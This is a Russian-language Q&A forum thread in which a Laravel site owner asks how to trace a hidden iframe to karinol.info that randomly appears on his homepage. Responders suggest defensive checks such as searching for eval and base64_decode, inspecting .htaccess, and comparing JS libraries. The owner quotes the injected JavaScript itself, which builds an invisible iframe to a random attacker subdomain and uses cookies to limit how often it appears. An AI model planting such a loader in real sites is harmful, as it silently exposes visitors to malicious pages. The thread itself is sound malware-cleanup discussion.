Расположение iframe, появляется случайным образом?

Question

[Роман Кутенко]

Добрый день, на сайте случайным образом появляется следующий iframe. Сайт на fw laravel 3

<iframe src="http://satiram.karinol.info" width="0" height="0" align="left"></iframe>

он может появится в любой части при просмотре исходного кода. Появляется когда ему вздумается. Исходники сайта чистые, левых строк в файлах конфигурации nginx и httpd нет… Куда копать?



UPD. grep -r «karinol». ничего не дает

P.S. как проверить картинки на наличие вредоносного кода?



UPD 2. Единственное упоминание о вирусе

};var ifbsTkv = document.createElement('iframe');ifbsTkv.name = 'ifbsTkv';ifbsTkv.src = 'http://'+genstrdom(Math.floor(Math.random() * 20) + 5)+'.'+'karinol.info/';ifbsTkv.style.width = '0px';ifbsTkv.style.height = '0px';window.onload = function() {document.cookie = 'chcook=yes; path=/; expires=Wednesday, 18-May-33 03:33:20 GMT'; if ((document.cookie.indexOf('ifbsTkv=') == -1) && (document.cookie.indexOf('chcook=') != -1)) { document.getElementsByTagName('body')[0].appendChild(ifbsTkv);var expiresDate = new Date(); expiresDate.setTime(expiresDate.getTime() + 432000000); setTimeout(function() { document.cookie = 'ifbsTkv=yes; path=/; expires=' + expiresDate; }, 5000);}};function genstrdom(length) {var st = '';var chars = 'abcdefghijklmnopqrstuvwxyz0123456789';for (i=1;i<length;i++) {var c = Math.floor(Math.random()*chars.length + 1);st += chars.charAt(c)}return st;}<span style="line-height: 1.6em;"></span>

urlvir.ru/blog/99-novyj-vid-virusa-shturmuet-inter...

Comments

[Владимир]

Ссылку на сайт свой дадите?

[Роман Кутенко]

отправил

Answer 1

[PaulZi]

Думаю скорее всего нужно искать сторонние <script src="..."></script> или <script>...</script> на сайте, которые и вставляют уже iframe.

Answer 2

[WEBIVAN]

Поздравляю, вы словили вирус.
1)Меняем доступы к ФТП
2)Делаем поиск по .php файлам на предмет наличия eval, base64_decode, preg_replace к ключом \e, preg_replace_callback
3)Анализируем найденное, вычищаем зловреда

Comments

[Роман Кутенко]

1) само собой
2) все перелопатил, нет ничего =(

Answer 3

[Jonh Doe]

Как вариант, посмотрите в htaccess, там может быть что-то типа php_value auto_append_file append.php или php_value auto_prepend_file append.php

Comments

[Роман Кутенко]

Он тоже чист, проверил абсолютно все файлы через поиск, нет упоминания ни этого фрейма, ни его части. Нет подозрительных base64 и прочего… загадка в общем

Answer 4

[Максим Дьяченко]

Посмотрите на даты изменения файлов. Далеко не все вирусы за собой это подчищают.

Comments

[Роман Кутенко]

даты тоже проверял, все четко

Answer 5

[MiXei4]

iframe появляется во всех браузерах, на всех компьютерах? Может это просто какое-нибудь расширение вставляет…

Comments

[Роман Кутенко]

оно появляется рандомно на любом браузере на разных компах… на всех одинаков только адблок

Answer 6

[signalizator]

По всем файлам js и php пробегитесь на предмет поиска «karinol» или «ifbsTkv».

Comments

[Роман Кутенко]

пусто ((( уже проверял

Answer 7

[Lomzik]

Отключите всё JS файлы (библиотеки, счетчики, анализаторы и т.д.) и проверьте результат.

Comments

[Роман Кутенко]

Пробовал, эффекта ноль

[Lomzik]

можно проверить связано это с кодом или с сервером (хостингом).
допустим index.html другой (практически пустой) подложить.
вообще абстрагироваться от сайта.

[Роман Кутенко]

Я уже ложил пустой index.php с hello world. После проверки с разных мест фрейма небыло… так что думаю гдето в Laravel проблема

Answer 8

[noonesshadow]

Проверьте файлы js библиотек, в частности jQuery, на соответствие оригиналам

Comments

[Роман Кутенко]

фрейм появляется только на главной странице, но на ней не подключены никакие js библиотеки